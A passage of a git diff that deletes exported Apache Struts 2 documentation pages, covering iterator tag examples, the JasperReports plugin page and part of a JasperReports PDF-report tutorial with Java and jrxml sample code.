-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h1 id="iterator-Examples">Examples</h1>
-
-
-<p></p><p>The following example retrieves the value of the getDays() method of the current object on the value stack and
-uses it to iterate over. The &lt;s:property/&gt; tag prints out the current value of the iterator.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:iterator value=&quot;days&quot;&gt;
-  &lt;p&gt;day is: &lt;s:property/&gt;&lt;/p&gt;
-&lt;/s:iterator&gt;
-]]></script>
-</div></div>
-
-
-<p></p><p>The following example uses a Bean tag and places it into the ActionContext. The iterator tag will retrieve
-that object from the ActionContext and then calls its getDays() method as above. The status attribute is also used to
-create an IteratorStatus object, which in this example, its odd() method is used to alternate row
-colours:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:bean name=&quot;org.apache.struts2.example.IteratorExample&quot; var=&quot;it&quot;&gt;
-  &lt;s:param name=&quot;day&quot; value=&quot;&#39;foo&#39;&quot;/&gt;
-  &lt;s:param name=&quot;day&quot; value=&quot;&#39;bar&#39;&quot;/&gt;
-&lt;/s:bean&gt;
-
-&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;1&quot;&gt;
-&lt;tr&gt;
-  &lt;th&gt;Days of the week&lt;/th&gt;
-&lt;/tr&gt;
-
-&lt;s:iterator value=&quot;#it.days&quot; status=&quot;rowstatus&quot;&gt;
-  &lt;tr&gt;
-    &lt;s:if test=&quot;#rowstatus.odd == true&quot;&gt;
-      &lt;td style=&quot;background: grey&quot;&gt;&lt;s:property/&gt;&lt;/td&gt;
-    &lt;/s:if&gt;
-    &lt;s:else&gt;
-      &lt;td&gt;&lt;s:property/&gt;&lt;/td&gt;
-    &lt;/s:else&gt;
-  &lt;/tr&gt;
-&lt;/s:iterator&gt;
-&lt;/table&gt;
-
-]]></script>
-</div></div>
-
-
-<p></p><p> The next example will further demonstrate the use of the status attribute, using a DAO obtained from the action
-class through OGNL, iterating over groups and their users (in a security context). The last() method indicates if the
-current object is the last available in the iteration, and if not, we need to separate the users using a comma: </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
- &lt;s:iterator value=&quot;groupDao.groups&quot; status=&quot;groupStatus&quot;&gt;
-     &lt;tr class=&quot;&lt;s:if test=&quot;#groupStatus.odd == true &quot;&gt;odd&lt;/s:if&gt;&lt;s:else&gt;even&lt;/s:else&gt;&quot;&gt;
-         &lt;td&gt;&lt;s:property value=&quot;name&quot; /&gt;&lt;/td&gt;
-         &lt;td&gt;&lt;s:property value=&quot;description&quot; /&gt;&lt;/td&gt;
-         &lt;td&gt;
-             &lt;s:iterator value=&quot;users&quot; status=&quot;userStatus&quot;&gt;
-                 &lt;s:property value=&quot;fullName&quot; /&gt;&lt;s:if test=&quot;!#userStatus.last&quot;&gt;,&lt;/s:if&gt;
-             &lt;/s:iterator&gt;
-         &lt;/td&gt;
-     &lt;/tr&gt;
- &lt;/s:iterator&gt;
-
-]]></script>
-</div></div>
-
-
-<p></p><p> The next example iterates over a an action collection and passes every iterator value to another action. The
-trick here lies in the use of the '[0]' operator. It takes the current iterator value and passes it on to the edit
-action. Using the '[0]' operator has the same effect as using &lt;s:property /&gt;. (The latter, however, does not
-work from inside the param tag). </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-     &lt;s:action name=&quot;entries&quot; var=&quot;entries&quot;/&gt;
-     &lt;s:iterator value=&quot;#entries.entries&quot; &gt;
-         &lt;s:property value=&quot;name&quot; /&gt;
-         &lt;s:property /&gt;
-         &lt;s:push value=&quot;...&quot;&gt;
-             &lt;s:action name=&quot;edit&quot; var=&quot;edit&quot; &gt;
-                 &lt;s:param name=&quot;entry&quot; value=&quot;[0]&quot; /&gt;
-             &lt;/s:action&gt;
-         &lt;/push&gt;
-     &lt;/s:iterator&gt;
-
-]]></script>
-</div></div>
-
-
-<p></p><p>A loop that iterates 5 times</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:iterator var=&quot;counter&quot; begin=&quot;1&quot; end=&quot;5&quot; &gt;
-   &lt;!-- current iteration value (1, ... 5) --&gt;
-   &lt;s:property value=&quot;top&quot; /&gt;
-&lt;/s:iterator&gt;
-
-]]></script>
-</div></div>
-
-
-<p></p><p>Another way to create a simple loop, similar to JSTL's
-&lt;c:forEach begin="..." end="..." ...&gt; is to use some 
-OGNL magic, which provides some under-the-covers magic to 
-make 0-n loops trivial. This example also loops five times.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:iterator status=&quot;stat&quot; value=&quot;(5).{ #this }&quot; &gt;
-   &lt;s:property value=&quot;#stat.count&quot; /&gt; &lt;!-- Note that &quot;count&quot; is 1-based, &quot;index&quot; is 0-based. --&gt;
-&lt;/s:iterator&gt;
-
-]]></script>
-</div></div>
-
-
-<p></p><p>A loop that iterates over a partial list</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:iterator value=&quot;{1,2,3,4,5}&quot; begin=&quot;2&quot; end=&quot;4&quot; &gt;
-   &lt;!-- current iteration value (2,3,4) --&gt;
-   &lt;s:property value=&quot;top&quot; /&gt;
-&lt;/s:iterator&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/jasperreports-plugin.html b/content/docs/jasperreports-plugin.html
deleted file mode 100644
index 283397e..0000000
--- a/content/docs/jasperreports-plugin.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JasperReports Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="jasperreports-plugin.html">JasperReports Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JasperReports Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14258">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14258">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14258">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14258">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14258">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14258">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><rich-text-body><p><a shape="rect" class="external-link" href="http://jasperforge.org/sf/projects/jasperreports" rel="nofollow">JasperReports</a> is a powerful open source Java (LGPL) reporting tool that has the ability to deliver rich content onto the screen, to the printer or into PDF, HTML, XLS, CSV and XML files.</p></rich-text-body>
-
-<p>The JasperReports plugin <parameter ac:name="atlassian-macro-output-type">INLINE</parameter><rich-text-body><p>enables Actions to create high-quality reports as results</p></rich-text-body>.</p>
-
-<h2 id="JasperReportsPlugin-Features">Features</h2>
-
-<ul><li>Allows Actions to be rendered through JasperReports</li></ul>
-
-
-<h2 id="JasperReportsPlugin-Usage">Usage</h2>
-
-<p>To use this plugin, have your packages that contain the target actions extend the provided <code>jasperreports-default</code> package, which contains the <code>jasper</code> result type.  Then, simply use the result type in the desired actions.  The result takes the following parameters:</p>
-
-<plain-text-body>{snippet:id=description|javadoc=true|url=struts2/plugins/jasperreports/src/main/java/org/apache/struts2/views/jasperreports/JasperReportsResult.java}</plain-text-body>
-
-<plain-text-body>{snippet:id=params|javadoc=true|url=struts2/plugins/jasperreports/src/main/java/org/apache/struts2/views/jasperreports/JasperReportsResult.java}</plain-text-body>
-
-<h3 id="JasperReportsPlugin-Examples">Examples</h3>
-
-<plain-text-body>{snippet:id=example1|lang=xml|javadoc=true|url=struts2/plugins/jasperreports/src/main/java/org/apache/struts2/views/jasperreports/JasperReportsResult.java}</plain-text-body>
-
-<p>or for pdf:</p>
-
-<plain-text-body>{snippet:id=example2|lang=xml|javadoc=true|url=struts2/plugins/jasperreports/src/main/java/org/apache/struts2/views/jasperreports/JasperReportsResult.java}</plain-text-body>
-
-<h3 id="JasperReportsPlugin-Settings">Settings</h3>
-
-<p>This plugin doesn't provide any global settings.</p>
-
-<h3 id="JasperReportsPlugin-Installation">Installation</h3>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  No other files need to be copied or created.</p>
-
-<hr>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> See also <a shape="rect" class="external-link" href="http://www.vitarara.org/cms/node/131http://www.vitarara.org/cms/node/131" rel="nofollow">Compiling JasperReports JRXML Files with Maven</a> (Mark Menard)</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/jasperreports-tutorial.html b/content/docs/jasperreports-tutorial.html
deleted file mode 100644
index 2b80345..0000000
--- a/content/docs/jasperreports-tutorial.html
+++ /dev/null
@@ -1,465 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JasperReports Tutorial</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="jasperreports-tutorial.html">JasperReports Tutorial</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JasperReports Tutorial</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13906">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13906">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13906">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13906">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13906">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13906">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The Struts 2 JasperReports plugin is a bridge from Struts 2 to JasperReports and does not include JasperReports itself, which must be downloaded separately.</p></div></div>
-
-<p><a shape="rect" class="external-link" href="http://jasperreports.sourceforge.net" rel="nofollow">JasperReports</a> is one of the leading open-source Java reporting libraries. It compiles <code>.jrxml</code> (XML source) to <code>.jasper</code> (compiled) files, which in turn can be transformed into several output types including PDF, HTML, CSV, and XLS.</p>
-
-<p>In the following example, we will use the framework to create a PDF with a list of persons. Our action will be used to create a List with <code>Person</code> objects, and our JasperReports Result will use this list to fill our template, and return the PDF.</p>
-
-<h2 id="JasperReportsTutorial-OurPersonclass">Our Person class</h2>
-
-<p>We start by defining a simple <code>Person</code> POJO class.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>com.acme.test.Person.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package com.acme.test;
-
-public class Person {
-
-    private Long id;
-
-    private String name;
-
-    private String lastName;
-
-    public Person() {
-    }
-
-    public Person(String name, String lastName) {
-        this.name = name;
-        this.lastName = lastName;
-    }
-
-    public Person(Long id, String name, String lastName) {
-        this.id = id;
-        this.name = name;
-        this.lastName = lastName;
-    }
-
-    public Long getId() {
-        return id;
-    }
-
-    public void setId(Long id) {
-        this.id = id;
-    }
-
-    public String getLastName() {
-        return lastName;
-    }
-
-    public void setLastName(String lastName) {
-        this.lastName = lastName;
-    }
-
-    public String getName() {
-        return name;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-}
-</pre>
-</div></div>
-
-<h2 id="JasperReportsTutorial-JasperReportslibraries">JasperReports libraries</h2>
-
-<p>Before we can continue, we need to add the JR libraries to our classpath. You can download the JR project here: <a shape="rect" class="external-link" href="http://www.sourceforge.net/projects/jasperreports" rel="nofollow">http://www.sourceforge.net/projects/jasperreports</a><br clear="none">
-Save the jasperreports-X-project.zip to your harddisk, and extract the files.</p>
-
-<p>We need the following files:</p>
-<ul class="alternate"><li>dist/jasperreports-X.jar</li><li>lib/commons-*.jar (all the commons - except maybe for commons-logging)</li><li>lib/itext-X.jar</li><li>lib/jdt-compiler.jar</li></ul>
-
-
-<p>Copy these jars over to your S2_WEBAPP/WEB-INF/lib directory, and add them to your classpath.</p>
-
-<h2 id="JasperReportsTutorial-CreatingtheAction">Creating the Action</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>com.acme.test.action.JasperAction</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package com.acme.test.action;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import net.sf.jasperreports.engine.JasperCompileManager;
-
-import com.acme.test.Person;
-import com.opensymphony.xwork.ActionSupport;
-
-public class JasperAction extends ActionSupport {
-
-    /** List to use as our JasperReports dataSource. */
-    private List&lt;Person&gt; myList;
-
-    public String execute() throws Exception {
-
-        // Create some imaginary persons.
-        Person p1 = new Person(new Long(1), "Patrick", "Lightbuddie");
-        Person p2 = new Person(new Long(2), "Jason", "Carrora");
-        Person p3 = new Person(new Long(3), "Alexandru", "Papesco");
-        Person p4 = new Person(new Long(4), "Jay", "Boss");
-
-        // Store people in our dataSource list (normally they would come from a database).
-        myList = new ArrayList&lt;Person&gt;();
-        myList.add(p1);
-        myList.add(p2);
-        myList.add(p3);
-        myList.add(p4);
-
-        // Normally we would provide a pre-compiled .jrxml file
-        // or check to make sure we don't compile on every request.
-        try {
-            JasperCompileManager.compileReportToFile(
-                    "S2_WEBAPP/jasper/our_jasper_template.jrxml",
-                    "S2_WEBAPP/jasper/our_compiled_template.jasper");
-        } catch (Exception e) {
-            e.printStackTrace();
-            return ERROR;
-        }
-
-        return SUCCESS;
-    }
-
-    public List&lt;Person&gt; getMyList() {
-        return myList;
-    }
-}
-</pre>
-</div></div>
-
-<p>Our JasperAction creates a list of several People. The JasperCompileManager compiles the jrxml template to a .jasper file.</p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Again, don't use this in production code. You should of course either provide compiled templates, or do some sort of checking to avoid compiling the template on every request. But for our demonstration, or development, this suits our needs just fine.</p></div></div>
-
-<h2 id="JasperReportsTutorial-OurJaspertemplate">Our Jasper template</h2>
-
-<p>JR uses XML configuration to define templates which are compiled to .jasper files. These templates define the resulting report.<br clear="none">
-This is a handwritten version - for more complex versions I seriously suggest taking a look a the various GUI designers.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>our_jasper_template.jrxml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0"?&gt;
-&lt;!DOCTYPE jasperReport PUBLIC "-//JasperReports//DTD Report Design//EN" "http://jasperreports.sourceforge.net/dtds/jasperreport.dtd"&gt;
-&lt;jasperReport name="jasper_test"&gt;
-  &lt;!-- Our fields from the Person class. --&gt;
-  &lt;field name="name" class="java.lang.String"/&gt;
-  &lt;field name="lastName" class="java.lang.String"/&gt;
-  &lt;title&gt;
-    &lt;band height="50"&gt;
-      &lt;staticText&gt;
-        &lt;reportElement x="0" y="0" width="180" height="15"/&gt;
-        &lt;textElement/&gt;
-        &lt;text&gt;&lt;![CDATA[Struts 2 JasperReports Sample]]&gt;&lt;/text&gt;
-      &lt;/staticText&gt;
-    &lt;/band&gt;
-  &lt;/title&gt;
-  &lt;pageHeader&gt;
-    &lt;band/&gt;
-  &lt;/pageHeader&gt;
-  &lt;columnHeader&gt;
-    &lt;band height="20"&gt;
-      &lt;staticText&gt;
-        &lt;reportElement x="180" y="0" width="180" height="20"/&gt;
-        &lt;textElement&gt;
-          &lt;font isUnderline="true"/&gt;
-        &lt;/textElement&gt;
-        &lt;text&gt;&lt;![CDATA[NAME]]&gt;&lt;/text&gt;
-      &lt;/staticText&gt;
-      &lt;staticText&gt;
-        &lt;reportElement x="360" y="0" width="180" height="20"/&gt;
-        &lt;textElement&gt;
-          &lt;font isUnderline="true"/&gt;
-        &lt;/textElement&gt;
-        &lt;text&gt;&lt;![CDATA[LASTNAME]]&gt;&lt;/text&gt;
-      &lt;/staticText&gt;
-    &lt;/band&gt;
-  &lt;/columnHeader&gt;
-  &lt;detail&gt;
-    &lt;band height="20"&gt;
-      &lt;textField&gt;
-        &lt;reportElement x="180" y="0" width="180" height="15"/&gt;
-        &lt;textElement/&gt;
-        &lt;textFieldExpression&gt;&lt;![CDATA[$F{name}]]&gt;&lt;/textFieldExpression&gt;
-      &lt;/textField&gt;
-      &lt;textField&gt;
-        &lt;reportElement x="360" y="0" width="180" height="15"/&gt;
-        &lt;textElement/&gt;
-        &lt;textFieldExpression&gt;&lt;![CDATA[$F{lastName}]]&gt;&lt;/textFieldExpression&gt;
-      &lt;/textField&gt;
-    &lt;/band&gt;
-  &lt;/detail&gt;
-  &lt;columnFooter&gt;
-    &lt;band/&gt;
-  &lt;/columnFooter&gt;
-  &lt;pageFooter&gt;
-    &lt;band height="15"&gt;
-      &lt;staticText&gt;
-        &lt;reportElement x="0" y="0" width="40" height="15"/&gt;
-        &lt;textElement/&gt;
-        &lt;text&gt;&lt;![CDATA[Page:]]&gt;&lt;/text&gt;
-      &lt;/staticText&gt;
-      &lt;textField&gt;
-        &lt;reportElement x="40" y="0" width="100" height="15"/&gt;
-        &lt;textElement/&gt;
-        &lt;textFieldExpression class="java.lang.Integer"&gt;&lt;![CDATA[$V{PAGE_NUMBER}]]&gt;&lt;/textFieldExpression&gt;
-      &lt;/textField&gt;
-    &lt;/band&gt;
-  &lt;/pageFooter&gt;
-  &lt;summary&gt;
-    &lt;band/&gt;
-  &lt;/summary&gt;
-&lt;/jasperReport&gt;
-</pre>
-</div></div>
-
-<p>Save this file in <code>S2_WEBAPP/jasper/</code> as 'our_jasper_template.jrxml'.</p>
-
-<p>Most important: we declared the fields name and lastName (two properties from our <code>Person</code> class). This means we will now be able to use these fields in our Jasper template.</p>
-
-<p>We define two columnheaders (NAME and LASTNAME), and then add our fields to the detail band (for a better explanation, look at the JR tutorial). This 'detail' band will iterate over our List of People. This is the default behaviour of JR - so if you want to display more information from the Person, add them to this band.</p>
-
-<p>In the detail band we use the</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$F{name}
-</pre>
-</div></div>
-
-<p>expression. JasperReports will ask Struts to retrieve the <code>name</code> field value from a <code>Person</code> object; the <code>lastName</code> field is handled the same way.</p>
-
-<p>The rest is markup to define the layout.</p>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Use a logger (commons-logging, log4j, ...) to watch <code>org.apache.struts2.views.jasperreports</code> in debug mode, if you have any troubles.</p></div></div>
-
-<h2 id="JasperReportsTutorial-RegisteringtheAction">Registering the Action</h2>
-
-<p>Using the JasperReports plugin requires adding the JasperReports result type as well as normal action configuration.</p>
-
